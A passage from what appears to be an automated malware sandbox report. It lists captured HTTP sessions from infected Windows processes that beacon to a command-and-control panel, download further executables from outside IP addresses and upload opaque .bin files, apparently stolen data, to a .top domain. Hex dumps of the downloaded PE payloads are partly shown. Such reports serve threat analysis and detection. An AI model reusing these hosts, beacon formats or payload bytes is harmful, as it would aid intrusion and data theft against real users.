                                                                                                                                                                                                                                                            Data Ascii: d1=1017196001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:09.957902908 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:09 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            17192.168.2.549978185.215.113.16806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:10.488714933 CET54OUTGET /off/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.811830044 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:11 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1752576
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:56:50 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67636142-1abe00"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 b0 6d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ Em`Ui`D @ @.rsrcD`2@.idata 6@ *8@birivrvo` +^:@iudmniuq E@.taggant@E"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.811901093 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.811942101 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.812082052 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.812119007 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.812155962 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.813108921 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.813164949 CET1236INData Raw: a6 6e 93 ba cf c1 90 7d 47 b2 92 85 48 ec f7 4b a3 05 fa 5b e4 a7 ee 1b 33 7c cc 04 9d 07 5d 6d ef ea 46 de 99 d9 1d 9a b0 31 d4 4d 68 a3 80 7a 54 7b b0 4b 10 68 8f 07 46 99 95 01 56 73 4b 68 28 60 a0 bb cf 75 a4 a3 e3 8c b3 0d 74 82 95 ea 01 49
                                                                                                                                                                                                                                                            Data Ascii: n}GHK[3|]mF1MhzT{KhFVsKh(`utI^x{XX<ojgOmyZnt+yjtu`z!gM5]pZS5Yv^7h)DNewRk&uH`tD!ZSYvv)(3|X$t5o`V-
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.813204050 CET1236INData Raw: d3 6d aa ad 8b 6d b6 59 a3 52 33 4c 4d 8a ac d4 05 92 a0 41 f6 a7 ce 64 34 f5 d6 bd 2b aa a6 ba 05 92 e6 5b a6 ca e2 b8 bc 67 24 c4 2b 6d ea bb 05 ce aa 95 f7 b6 fa 4f f8 01 01 80 03 8a 0e 63 f4 89 46 e0 4e ee 9f 33 2b ea be ba c5 79 26 f4 dd 22
                                                                                                                                                                                                                                                            Data Ascii: mmYR3LMAd4+[g$+mOcFN3+y&"/6cm>#UZ&1]5uGi-bZmncFoNv{~K<j{.!%nMbR'VRtJr6cmC)~fccNT~+v"zqZYz
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.813601017 CET1236INData Raw: ec 80 a3 bc f1 a2 aa 68 17 d5 5a ba 50 56 9a ce 5a 67 a8 95 1b 7d d6 1c 4f c4 dd a4 fa 42 04 1e e1 95 dc 8a 59 e1 c8 7e d5 c3 87 6f 24 78 e7 2c 15 6a 06 aa 4b d7 1b 98 55 5a 0c 98 e6 c7 fa e0 dd 7d fe 54 56 c3 f6 b2 5c 30 47 b9 c3 1d c0 e9 98 54
                                                                                                                                                                                                                                                            Data Ascii: hZPVZg}OBY~o$x,jKUZ}TV\0GTAsk;|\'xdw&/5q-)}/b& EpBMKpXv,p7MrI/Wf1Dmq[4K_X*Gj</[2I/kV@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:11.931694031 CET1236INData Raw: 43 b5 73 10 3d 86 8d 61 38 02 94 7e 61 66 c8 5a 48 7d 9c fa 49 86 ea 75 75 90 7e 9c 4c 75 71 49 48 76 f4 b7 06 79 38 2f c8 41 8e 83 ea 37 ac d4 04 2c 03 bd ec c8 b2 05 04 58 98 ae e3 b9 fe b7 73 cb f0 b8 f9 c7 eb 14 85 8d 91 2a b5 d3 fd f8 e5 42
                                                                                                                                                                                                                                                            Data Ascii: Cs=a8~afZH}Iuu~LuqIHvy8/A7,Xs*B,sojvB@eG]z;VK O3 ]P#MC#g3[AKJOM`T.KZc*|Obyj[OWmD*V-)!ZI=heq)mo`9


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            18192.168.2.549994185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:14.792726040 CET644OUTPOST /v1/upload.php HTTP/1.1
                                                                                                                                                                                                                                                            Host: twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Content-Length: 462
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------60CTYxI6rdJqAQo1JS1BXw
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 30 43 54 59 78 49 36 72 64 4a 71 41 51 6f 31 4a 53 31 42 58 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 65 6c 69 77 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a bb 97 dd 6f 40 a0 c3 30 06 28 9b 60 60 78 2b 29 0f c4 c9 28 e2 ac c5 dc 41 00 e2 20 3f c4 5e e4 f2 b8 7c af 87 0d 5e 5e f3 26 e7 2f 38 1d e8 68 fc f8 80 59 4e 32 23 a9 8d 13 da 0b 19 c5 62 cd 6a 58 bc 16 67 02 a4 56 b4 e3 22 35 f5 b6 ec 50 ae 30 1f 7b 14 d0 91 2e 0f 93 96 43 8a 0a 39 42 a8 ef 98 aa 81 4d ac 19 71 ec 79 88 75 c5 92 a4 d7 9f 6c 6d d1 51 2d 52 4e fe f8 d7 69 6f d3 b1 f6 41 bb 6e 8e b9 e8 dd 11 73 da 12 dd 0e 2b 1a 9b ae 08 f8 a0 e9 81 25 8c 6b cf e0 e7 0d f1 43 a9 75 63 91 9f b7 52 f3 70 54 b1 65 13 db ee b3 29 f9 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: --------------------------60CTYxI6rdJqAQo1JS1BXwContent-Disposition: form-data; name="file"; filename="Seliwe.bin"Content-Type: application/octet-streamo@0(``x+)(A ?^|^^&/8hYN2#bjXgV"5P0{.C9BMqyulmQ-RNioAns+%kCucRpTe)HhS0%PO.eeif)'3($4;:4f2vh--------------------------60CTYxI6rdJqAQo1JS1BXw--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:16.117113113 CET255INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:10:15 GMT
                                                                                                                                                                                                                                                            content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                                            content-length: 2
                                                                                                                                                                                                                                                            x-ratelimit-limit: 30
                                                                                                                                                                                                                                                            x-ratelimit-remaining: 29
                                                                                                                                                                                                                                                            x-ratelimit-reset: 1734568816
                                                                                                                                                                                                                                                            etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
                                                                                                                                                                                                                                                            Data Raw: 4f 4b
                                                                                                                                                                                                                                                            Data Ascii: OK


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            19192.168.2.550002185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:15.792522907 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 65 31 3d 31 30 31 37 31 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: e1=1017197001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:17.120249033 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:16 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            20192.168.2.55001031.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:17.302483082 CET59OUTGET /files/fate/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611206055 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:18 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 776832
                                                                                                                                                                                                                                                            Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "6761482a-bda80"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611258984 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611299992 CET1236INData Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24
                                                                                                                                                                                                                                                            Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"|$$D$(WVt$VfSCErPPD$|$$l$(WVPe\$Dl$t$h5Vm
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611519098 CET1236INData Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35
                                                                                                                                                                                                                                                            Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611556053 CET896INData Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8
                                                                                                                                                                                                                                                            Data Ascii: B1D$@|8tHV{t1P4Q|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_|$0t1PP?BBDBD@Bt$RWhABV?
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.611591101 CET1236INData Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89
                                                                                                                                                                                                                                                            Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.612483025 CET1236INData Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64
                                                                                                                                                                                                                                                            Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.612534046 CET1236INData Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1
                                                                                                                                                                                                                                                            Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.612572908 CET1236INData Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a
                                                                                                                                                                                                                                                            Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.612989902 CET1236INData Raw: ac 65 42 00 e8 ad ff ff ff 83 25 ac 65 42 00 00 59 8d 4d fc e8 dc fb ff ff c9 c3 55 8b ec 8b 4d 08 b8 d8 c8 41 00 39 08 74 11 83 c0 08 3d 50 cb 41 00 75 f2 b8 24 07 42 00 5d c3 8b 40 04 5d c3 55 8b ec 51 51 8b 45 08 56 8b f1 89 45 f8 8d 45 f8 c6
                                                                                                                                                                                                                                                            Data Ascii: eB%eBYMUMA9t=PAu$B]@]UQQEVEEEV(A"bRP/YY^aaABAA(API/YUMhBBEP(UMuwhBBEP(UMuhCBE
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:18.731441021 CET1236INData Raw: 00 83 f8 ff 59 59 0f 95 c0 5d c3 55 8b ec 6a ff 68 d7 b6 41 00 64 a1 00 00 00 00 50 a1 c0 57 42 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 83 65 fc 00 51 c7 01 6c cb 41 00 e8 41 1e 00 00 59 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc cc cc cc 55 8b
                                                                                                                                                                                                                                                            Data Ascii: YY]UjhAdPWB3PEdeQlAAYMdYUVEf<j F8m~8F@uFjPF}tVY^]UQVu53tAF8F<F@^UjhAdPVWB3PEdeVlA


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            21192.168.2.550019185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:19.996007919 CET10350OUTPOST /v1/upload.php HTTP/1.1
                                                                                                                                                                                                                                                            Host: twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Content-Length: 10166
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------BULXCENdnYngMP5EGLUWgJ
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 55 4c 58 43 45 4e 64 6e 59 6e 67 4d 50 35 45 47 4c 55 57 67 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 6f 72 6f 6c 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b0 e4 87 63 f9 26 c8 20 4e dd ec 10 d8 fa d1 48 f8 88 42 e2 52 47 44 ac 72 74 7e 4d 13 18 37 a8 f1 72 6c ae 44 9a b2 6c c5 4d e6 1c 4e 56 54 a0 31 91 c5 b5 5d 3f a7 fb 07 fb 54 f8 0e 5e d7 db 1b 44 48 f7 8b 24 6d 6c 0e 5a da a1 1e 6d 0a ad 4f 0c ce 2a 74 de 28 37 73 88 92 8e 26 c2 2f 96 c4 e0 c1 b1 84 82 7a 61 ff cf 5b b6 8f 34 1e 51 c6 5f 73 e1 77 43 5b 4e 03 2e f3 a8 e5 83 3f 8b ec 63 a6 e7 3a 0e 9d a4 c2 4c 6c 0c d5 06 a5 3a 3d 6b de e5 78 ff 95 94 99 40 3b 0d 2c 12 61 18 26 c0 15 05 5f 27 b4 c6 dc 61 80 c1 5c d6 9e 84 b8 6a [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: --------------------------BULXCENdnYngMP5EGLUWgJContent-Disposition: form-data; name="file"; filename="Rorola.bin"Content-Type: application/octet-streamc& NHBRGDrt~M7rlDlMNVT1]?T^DH$mlZmO*t(7s&/za[4Q_swC[N.?c:Ll:=kx@;,a&_'a\j!U[Nl$6>4R&D5\x;hr);;}^QrHKrMmtLoIs''WhGATgh,@[gh_&"'W2t|[U~rnXA9W,j]{NQbzUpn^34G1#& "d+^"qKGCP".k10^9"L(TFg7 nXOs53~D(c%t_-lAZm[- Ad>3("&D}Ak_X|-s6}_{ebTW^3[F{`5!8)!g1:P?>HtjSw0NG=k7RBg?__:NFM`ltAX6%!_wiAQhMYgyQJ}P7Vy<d3k"w7/Ag\9ot<5~EI|R]wIq\\L`~ [TRUNCATED]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.424885035 CET255INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:10:21 GMT
                                                                                                                                                                                                                                                            content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                                            content-length: 2
                                                                                                                                                                                                                                                            x-ratelimit-limit: 30
                                                                                                                                                                                                                                                            x-ratelimit-remaining: 28
                                                                                                                                                                                                                                                            x-ratelimit-reset: 1734568816
                                                                                                                                                                                                                                                            etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
                                                                                                                                                                                                                                                            Data Raw: 4f 4b
                                                                                                                                                                                                                                                            Data Ascii: OK


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            22192.168.2.550017185.215.113.16805360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:20.009421110 CET200OUTGET /off/def.exe HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306211948 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:20 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1752576
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:56:52 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67636144-1abe00"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
